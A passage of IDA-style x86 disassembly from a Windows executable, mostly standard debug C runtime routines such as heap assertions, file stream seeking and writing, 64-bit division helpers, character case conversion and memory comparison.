[ebp+arg_0] sub eax, 20h mov [ebp+var_4], eax loc_423B05: ; CODE XREF: sub_423AE0+7Bj mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 4 jz short loc_423B57 mov eax, [ebp+var_4] cmp dword ptr [eax+14h], 1 jz short loc_423B57 mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 2 jz short loc_423B57 mov eax, [ebp+var_4] cmp dword ptr [eax+14h], 3 jz short loc_423B57 push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 2Fh push offset dword_43ED30 push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_423B57 int 3 ; Trap to Debugger loc_423B57: ; CODE XREF: sub_423AE0+34j ; sub_423AE0+3Dj ... xor ecx, ecx test ecx, ecx jnz short loc_423B05 mov edx, [ebp+var_4] mov eax, [edx+14h] push eax mov ecx, [ebp+arg_0] push ecx call sub_41F970 add esp, 8 push 9 call sub_425A30 add esp, 4 loc_423B7A: ; CODE XREF: sub_423AE0+Dj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423AE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423B90 proc near ; CODE XREF: sub_411011+10p ; .XComp0:00412BFAp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1 mov eax, [ebp+arg_0] push eax call sub_41EE00 add esp, 8 mov [ebp+var_4], eax mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_423B90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423BB0 proc near ; CODE XREF: sub_423C70+7p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_421970 push 2 mov eax, dword_4EA914 push eax call sub_41FDF0 add esp, 8 mov ecx, dword_4EA910 sub ecx, dword_4EA914 add ecx, 4 cmp eax, ecx jnb short loc_423C3D push 68h push offset dword_43ED3C push 2 push 2 mov edx, dword_4EA914 push edx call sub_41FDF0 add esp, 8 add eax, 10h push eax mov eax, dword_4EA914 push eax call sub_41F2C0 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_423C1A call sub_421980 xor eax, eax jmp short loc_423C5F ; --------------------------------------------------------------------------- loc_423C1A: ; CODE XREF: sub_423BB0+5Fj mov ecx, dword_4EA910 sub ecx, dword_4EA914 sar ecx, 2 mov edx, [ebp+var_4] lea eax, [edx+ecx*4] mov dword_4EA910, eax mov ecx, [ebp+var_4] mov dword_4EA914, ecx loc_423C3D: ; CODE XREF: sub_423BB0+2Aj mov edx, dword_4EA910 mov eax, [ebp+arg_0] mov [edx], eax mov ecx, dword_4EA910 add ecx, 4 mov dword_4EA910, ecx call sub_421980 mov eax, [ebp+arg_0] loc_423C5F: ; CODE XREF: sub_423BB0+68j mov esp, ebp pop ebp retn sub_423BB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423C70 proc near ; CODE XREF: sub_410749+8p ; sub_43D3E0+8p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_423BB0 add esp, 4 neg eax sbb eax, eax neg eax dec eax pop ebp retn sub_423C70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423C90 proc near ; DATA XREF: .XComp0:0044101Co push ebp mov ebp, esp push 0B6h push offset dword_43ED3C push 2 push 80h call sub_41EDD0 add esp, 10h mov dword_4EA914, eax cmp dword_4EA914, 0 jnz short loc_423CC4 push 18h call sub_424980 add esp, 4 loc_423CC4: ; CODE XREF: sub_423C90+28j mov eax, dword_4EA914 mov dword ptr [eax], 0 mov ecx, dword_4EA914 mov dword_4EA910, ecx pop ebp retn sub_423C90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CE0 proc near ; CODE XREF: .XComp0:0041C826p ; .XComp0:0041C8A1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_423CE7: ; CODE XREF: sub_423CE0+2Fj cmp [ebp+arg_0], 0 jnz short loc_423D0B push offset dword_43E494 push 0 push 65h push offset dword_43ED48 push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_423D0B int 3 ; Trap to Debugger loc_423D0B: ; CODE XREF: sub_423CE0+Bj ; sub_423CE0+28j xor eax, eax test eax, eax jnz short loc_423CE7 mov ecx, [ebp+arg_0] push ecx call sub_424B30 add esp, 4 mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_423D50 add esp, 0Ch mov [ebp+var_4], eax mov edx, [ebp+arg_0] push edx call sub_424BA0 add esp, 4 mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423CE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423D50 proc near ; CODE XREF: sub_423CE0+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_423D57: ; CODE XREF: sub_423D50+32j cmp [ebp+arg_0], 0 jnz short loc_423D7E push offset dword_43E4A4 push 0 push 92h push offset dword_43ED48 push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_423D7E int 3 ; Trap to Debugger loc_423D7E: ; CODE XREF: sub_423D50+Bj ; sub_423D50+2Bj xor eax, eax test eax, eax jnz short loc_423D57 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_423DAB cmp [ebp+arg_8], 0 jz short loc_423DBE cmp [ebp+arg_8], 1 jz short loc_423DBE cmp [ebp+arg_8], 2 jz short loc_423DBE loc_423DAB: ; CODE XREF: sub_423D50+47j call sub_42C1E0 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_423E70 ; --------------------------------------------------------------------------- loc_423DBE: ; CODE XREF: sub_423D50+4Dj ; sub_423D50+53j ... mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 0FFFFFFEFh mov eax, [ebp+var_4] mov [eax+0Ch], edx cmp [ebp+arg_8], 1 jnz short loc_423DEE mov ecx, [ebp+var_4] push ecx call sub_4302B0 add esp, 4 mov edx, [ebp+arg_4] add edx, eax mov [ebp+arg_4], edx mov [ebp+arg_8], 0 loc_423DEE: ; CODE XREF: sub_423D50+81j mov eax, [ebp+var_4] push eax call sub_425630 add esp, 4 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_423E1B mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 0FFFFFFFCh mov edx, [ebp+var_4] mov [edx+0Ch], ecx jmp short loc_423E4F ; --------------------------------------------------------------------------- loc_423E1B: ; CODE XREF: sub_423D50+B8j mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 1 test ecx, ecx jz short loc_423E4F mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 8 test eax, eax jz short loc_423E4F mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 400h test edx, edx jnz short loc_423E4F mov eax, [ebp+var_4] mov dword ptr [eax+18h], 200h loc_423E4F: ; CODE XREF: sub_423D50+C9j ; sub_423D50+D6j ... mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx call sub_4300F0 add esp, 0Ch sub eax, 0FFFFFFFFh neg eax sbb eax, eax neg eax dec eax loc_423E70: ; CODE XREF: sub_423D50+69j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423D50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E80 proc near ; CODE XREF: .XComp0:0041C8BDp ; .XComp0:0041C9CAp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_C] push eax call sub_424B30 add esp, 4 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_423EC0 add esp, 10h mov [ebp+var_4], eax mov edx, [ebp+arg_C] push edx call sub_424BA0 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_423E80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423EC0 proc near ; CODE XREF: sub_423E80+20p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] imul ecx, [ebp+arg_8] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov [ebp+var_C], edx cmp [ebp+var_C], 0 jnz short loc_423EE9 xor eax, eax jmp loc_4240D5 ; --------------------------------------------------------------------------- loc_423EE9: ; CODE XREF: sub_423EC0+20j mov eax, [ebp+arg_C] mov ecx, [eax+0Ch] and ecx, 10Ch test ecx, ecx jz short loc_423F04 mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_1C], eax jmp short loc_423F0B ; --------------------------------------------------------------------------- loc_423F04: ; CODE XREF: sub_423EC0+37j mov [ebp+var_1C], 1000h loc_423F0B: ; CODE XREF: sub_423EC0+42j ; sub_423EC0:loc_4240CDj cmp [ebp+var_C], 0 jz loc_4240D2 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] and edx, 108h test edx, edx jz short loc_423F99 mov eax, [ebp+arg_C] cmp dword ptr [eax+4], 0 jz short loc_423F99 mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] cmp edx, [ecx+4] jnb short loc_423F41 mov eax, [ebp+var_C] mov [ebp+var_20], eax jmp short loc_423F4A ; --------------------------------------------------------------------------- loc_423F41: ; CODE XREF: sub_423EC0+77j mov ecx, [ebp+arg_C] mov edx, [ecx+4] mov [ebp+var_20], edx loc_423F4A: ; CODE XREF: sub_423EC0+7Fj mov eax, [ebp+var_20] mov [ebp+var_18], eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_C] mov ecx, [eax] push ecx call sub_422B50 add esp, 0Ch mov edx, [ebp+var_C] sub edx, [ebp+var_18] mov [ebp+var_C], edx mov eax, [ebp+arg_C] mov ecx, [eax+4] sub ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx+4], ecx mov eax, [ebp+arg_C] mov ecx, [eax] add ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx], ecx mov eax, [ebp+var_8] add eax, [ebp+var_18] mov [ebp+var_8], eax jmp loc_4240CD ; --------------------------------------------------------------------------- loc_423F99: ; CODE XREF: sub_423EC0+63j ; sub_423EC0+6Cj mov ecx, [ebp+var_C] cmp ecx, [ebp+var_1C] jb loc_42406F mov edx, [ebp+arg_C] mov eax, [edx+0Ch] and eax, 108h test eax, eax jz short loc_423FD4 mov ecx, [ebp+arg_C] push ecx call sub_425630 add esp, 4 test eax, eax jz short loc_423FD4 mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp loc_4240D5 ; --------------------------------------------------------------------------- loc_423FD4: ; CODE XREF: sub_423EC0+F2j ; sub_423EC0+102j cmp [ebp+var_1C], 0 jz short loc_423FEC mov eax, [ebp+var_C] xor edx, edx div [ebp+var_1C] mov eax, [ebp+var_C] sub eax, edx mov [ebp+var_24], eax jmp short loc_423FF2 ; --------------------------------------------------------------------------- loc_423FEC: ; CODE XREF: sub_423EC0+118j mov ecx, [ebp+var_C] mov [ebp+var_24], ecx loc_423FF2: ; CODE XREF: sub_423EC0+12Aj mov edx, [ebp+var_24] mov [ebp+var_18], edx mov eax, [ebp+var_18] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_C] mov eax, [edx+10h] push eax call sub_430550 add esp, 0Ch mov [ebp+var_14], eax cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_424037 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp loc_4240D5 ; --------------------------------------------------------------------------- loc_424037: ; CODE XREF: sub_423EC0+156j mov ecx, [ebp+var_C] sub ecx, [ebp+var_14] mov [ebp+var_C], ecx mov edx, [ebp+var_8] add edx, [ebp+var_14] mov [ebp+var_8], edx mov eax, [ebp+var_14] cmp eax, [ebp+var_18] jnb short loc_42406D mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_4240D5 ; --------------------------------------------------------------------------- loc_42406D: ; CODE XREF: sub_423EC0+18Fj jmp short loc_4240CD ; --------------------------------------------------------------------------- loc_42406F: ; CODE XREF: sub_423EC0+DFj mov ecx, [ebp+var_8] movsx edx, byte ptr [ecx] mov [ebp+var_4], edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+var_4] push ecx call sub_42A430 add esp, 8 cmp eax, 0FFFFFFFFh jnz short loc_42409A mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_4240D5 ; --------------------------------------------------------------------------- loc_42409A: ; CODE XREF: sub_423EC0+1CBj mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_C] sub eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+arg_C] cmp dword ptr [ecx+18h], 0 jle short loc_4240C0 mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_28], eax jmp short loc_4240C7 ; --------------------------------------------------------------------------- loc_4240C0: ; CODE XREF: sub_423EC0+1F3j mov [ebp+var_28], 1 loc_4240C7: ; CODE XREF: sub_423EC0+1FEj mov ecx, [ebp+var_28] mov [ebp+var_1C], ecx loc_4240CD: ; CODE XREF: sub_423EC0+D4j ; sub_423EC0:loc_42406Dj jmp loc_423F0B ; --------------------------------------------------------------------------- loc_4240D2: ; CODE XREF: sub_423EC0+4Fj mov eax, [ebp+arg_8] loc_4240D5: ; CODE XREF: sub_423EC0+24j ; sub_423EC0+10Fj ... mov esp, ebp pop ebp retn sub_423EC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4240E0 proc near ; CODE XREF: sub_419698+9p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push eax nop call near ptr 27B01D1h mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_42410B call near ptr 27A0A66h nop push eax call sub_42C140 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_42413C ; --------------------------------------------------------------------------- loc_42410B: ; CODE XREF: sub_4240E0+15j mov ecx, [ebp+var_4] and ecx, 1 test ecx, ecx jz short loc_42413A mov edx, [ebp+arg_4] and edx, 2 test edx, edx jz short loc_42413A call sub_42C1E0 mov dword ptr [eax], 0Dh call sub_42C1F0 mov dword ptr [eax], 5 or eax, 0FFFFFFFFh jmp short loc_42413C ; --------------------------------------------------------------------------- loc_42413A: ; CODE XREF: sub_4240E0+33j ; sub_4240E0+3Dj xor eax, eax loc_42413C: ; CODE XREF: sub_4240E0+29j ; sub_4240E0+58j mov esp, ebp pop ebp retn sub_4240E0 endp ; =============== S U B R O U T I N E ======================================= sub_424140 proc near ; CODE XREF: sub_4196B4+53p ; sub_41E1F9+30p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_424162 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4241A3 ; --------------------------------------------------------------------------- loc_424162: ; CODE XREF: sub_424140+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_424170: ; CODE XREF: sub_424140+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_424170 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_42419E cmp edx, [esp+8+arg_4] ja short loc_42419E jb short loc_42419F cmp eax, [esp+8+arg_0] jbe short loc_42419F loc_42419E: ; CODE XREF: sub_424140+4Ej ; sub_424140+54j dec esi loc_42419F: ; CODE XREF: sub_424140+56j ; sub_424140+5Cj xor edx, edx mov eax, esi loc_4241A3: ; CODE XREF: sub_424140+20j pop esi pop ebx retn 10h sub_424140 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4241B0 proc near ; CODE XREF: sub_4196B4+32p ; sub_41E1F9+56p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_4241D1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_424221 ; --------------------------------------------------------------------------- loc_4241D1: ; CODE XREF: sub_4241B0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_4241DF: ; CODE XREF: sub_4241B0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4241DF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_42420A cmp edx, [esp+4+arg_4] ja short loc_42420A jb short loc_424212 cmp eax, [esp+4+arg_0] jbe short loc_424212 loc_42420A: ; CODE XREF: sub_4241B0+4Aj ; sub_4241B0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_424212: ; CODE XREF: sub_4241B0+52j ; sub_4241B0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_424221: ; CODE XREF: sub_4241B0+1Fj pop ebx retn 10h sub_4241B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_424230 proc near ; CODE XREF: sub_41983F+BBp ; sub_41983F+F6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_424251 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_424251: ; CODE XREF: sub_424230+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_42426D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_42426D: ; CODE XREF: sub_424230+27j or eax, eax jnz short loc_424289 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_4242CA ; --------------------------------------------------------------------------- loc_424289: ; CODE XREF: sub_424230+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_424297: ; CODE XREF: sub_424230+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_424297 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_4242C5 cmp edx, [esp+0Ch+arg_4] ja short loc_4242C5 jb short loc_4242C6 cmp eax, [esp+0Ch+arg_0] jbe short loc_4242C6 loc_4242C5: ; CODE XREF: sub_424230+85j ; sub_424230+8Bj dec esi loc_4242C6: ; CODE XREF: sub_424230+8Dj ; sub_424230+93j xor edx, edx mov eax, esi loc_4242CA: ; CODE XREF: sub_424230+57j dec edi jnz short loc_4242D4 neg edx neg eax sbb edx, 0 loc_4242D4: ; CODE XREF: sub_424230+9Bj pop ebx pop esi pop edi retn 10h sub_424230 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4242E0 proc near ; CODE XREF: sub_419E01+29p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_42432C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_42432D test eax, 1 jz short loc_42430D mov cl, [esi] cmp cl, [edi] jnz short loc_42435A inc esi inc edi dec eax jz short loc_42432A loc_42430D: ; CODE XREF: sub_4242E0+20j ; sub_4242E0+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_42435A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_42435A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_42430D loc_42432A: ; CODE XREF: sub_4242E0+2Bj ; sub_4242E0+84j pop edi pop esi locret_42432C: ; CODE XREF: sub_4242E0+6j retn ; --------------------------------------------------------------------------- loc_42432D: ; CODE XREF: sub_4242E0+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_424362 repe cmpsd jz short loc_424362 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_424355 cmp ch, dh jnz short loc_424355 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_424355 cmp ch, dh loc_424355: ; CODE XREF: sub_4242E0+63j ; sub_4242E0+67j ... mov eax, 0 loc_42435A: ; CODE XREF: sub_4242E0+26j ; sub_4242E0+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_424362: ; CODE XREF: sub_4242E0+55j ; sub_4242E0+59j test eax, eax jz short loc_42432A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_424355 dec eax jz short loc_424389 cmp dh, ch jnz short loc_424355 dec eax jz short loc_424389 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_424355 dec eax loc_424389: ; CODE XREF: sub_4242E0+8Fj ; sub_4242E0+96j pop edi pop esi retn sub_4242E0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] add eax, 20h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4243A0 proc near ; CODE XREF: sub_41A43B+9p ; sub_41A46C+90p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4E92E4, 0 jnz short loc_4243C7 cmp [ebp+arg_0], 41h jl short loc_4243C2 cmp [ebp+arg_0], 5Ah jg short loc_4243C2 mov eax, [ebp+arg_0] add eax, 20h mov [ebp+arg_0], eax loc_4243C2: ; CODE XREF: sub_4243A0+11j ; sub_4243A0+17j mov eax, [ebp+arg_0] jmp short loc_42442F ; --------------------------------------------------------------------------- loc_4243C7: ; CODE XREF: sub_4243A0+Bj push offset dword_4E96A8 nop call near ptr 2920A33h cmp dword_4E96A4, 0 jz short loc_4243F9 push offset dword_4E96A8 nop call near ptr 2920974h push 13h call sub_425990 add esp, 4 mov [ebp+var_4], 1 jmp short loc_424400 ; --------------------------------------------------------------------------- loc_4243F9: ; CODE XREF: sub_4243A0+39j mov [ebp+var_4], 0 loc_424400: ; CODE XREF: sub_4243A0+57j mov ecx, [ebp+arg_0] push ecx call sub_424440 add esp, 4 mov [ebp+arg_0], eax cmp [ebp+var_4], 0 jz short loc_424421 push 13h call sub_425A30 add esp, 4 jmp short loc_42442C ; --------------------------------------------------------------------------- loc_424421: ; CODE XREF: sub_4243A0+73j push offset dword_4E96A8 call near ptr 2920974h nop loc_42442C: ; CODE XREF: sub_4243A0+7Fj mov eax, [ebp+arg_0] loc_42442F: ; CODE XREF: sub_4243A0+25j mov esp, ebp pop ebp retn sub_4243A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424440 proc near ; CODE XREF: sub_4243A0+64p ; sub_43AF20+94p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp dword_4E92E4, 0 jnz short loc_42446C cmp [ebp+arg_0], 41h jl short loc_424464 cmp [ebp+arg_0], 5Ah jg short loc_424464 mov eax, [ebp+arg_0] add eax, 20h mov [ebp+arg_0], eax loc_424464: ; CODE XREF: sub_424440+13j ; sub_424440+19j mov eax, [ebp+arg_0] jmp loc_424567 ; --------------------------------------------------------------------------- loc_42446C: ; CODE XREF: sub_424440+Dj cmp [ebp+arg_0], 100h jge short loc_4244B3 cmp dword_4524F0, 1 jle short loc_424491 push 1 mov ecx, [ebp+arg_0] push ecx call sub_429750 add esp, 8 mov [ebp+var_10], eax jmp short loc_4244A5 ; --------------------------------------------------------------------------- loc_424491: ; CODE XREF: sub_424440+3Cj mov edx, [ebp+arg_0] mov eax, off_4522E4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 1 mov [ebp+var_10], ecx loc_4244A5: ; CODE XREF: sub_424440+4Fj cmp [ebp+var_10], 0 jnz short loc_4244B3 mov eax, [ebp+arg_0] jmp loc_424567 ; --------------------------------------------------------------------------- loc_4244B3: ; CODE XREF: sub_424440+33j ; sub_424440+69j mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh and edx, 0FFh mov eax, off_4522E4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_4244FC mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh mov [ebp+var_8], dl mov al, byte ptr [ebp+arg_0] mov [ebp+var_7], al mov [ebp+var_6], 0 mov [ebp+var_4], 2 jmp short loc_42450D ; --------------------------------------------------------------------------- loc_4244FC: ; CODE XREF: sub_424440+98j mov cl, byte ptr [ebp+arg_0] mov [ebp+var_8], cl mov [ebp+var_7], 0 mov [ebp+var_4], 1 loc_42450D: ; CODE XREF: sub_424440+BAj push 1 push 0 push 3 lea edx, [ebp+var_C] push edx mov eax, [ebp+var_4] push eax lea ecx, [ebp+var_8] push ecx push 100h mov edx, dword_4E92E4 push edx call sub_4312B0 add esp, 20h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_424541 mov eax, [ebp+arg_0] jmp short loc_424567 ; --------------------------------------------------------------------------- loc_424541: ; CODE XREF: sub_424440+FAj cmp [ebp+var_4], 1 jnz short loc_424551 mov eax, [ebp+var_C] and eax, 0FFh jmp short loc_424567 ; --------------------------------------------------------------------------- loc_424551: ; CODE XREF: sub_424440+105j mov eax, [ebp+var_C] and eax, 0FFh mov ecx, [ebp+var_C+1] and ecx, 0FFh shl ecx, 8 or eax, ecx loc_424567: ; CODE XREF: sub_424440+27j ; sub_424440+6Ej ... mov esp, ebp pop ebp retn sub_424440 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424570 proc near ; CODE XREF: sub_41AD09+D8p ; sub_41C3F4+60p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_42457A: ; CODE XREF: sub_424570+1Fj mov ecx, [ebp+var_4] xor edx, edx mov dx, [ecx] mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax test edx, edx jz short loc_424591 jmp short loc_42457A ; --------------------------------------------------------------------------- loc_424591: ; CODE XREF: sub_424570+1Dj mov eax, [ebp+var_4] sub eax, [ebp+arg_0] sar eax, 1 sub eax, 1 mov esp, ebp pop ebp retn sub_424570 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245A0 proc near ; CODE XREF: sub_41AD09+A1p ; sub_41AD09+B5p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push offset dword_4E96A8 nop call near ptr 2920A33h cmp dword_4E96A4, 0 jz short loc_4245D8 push offset dword_4E96A8 nop call 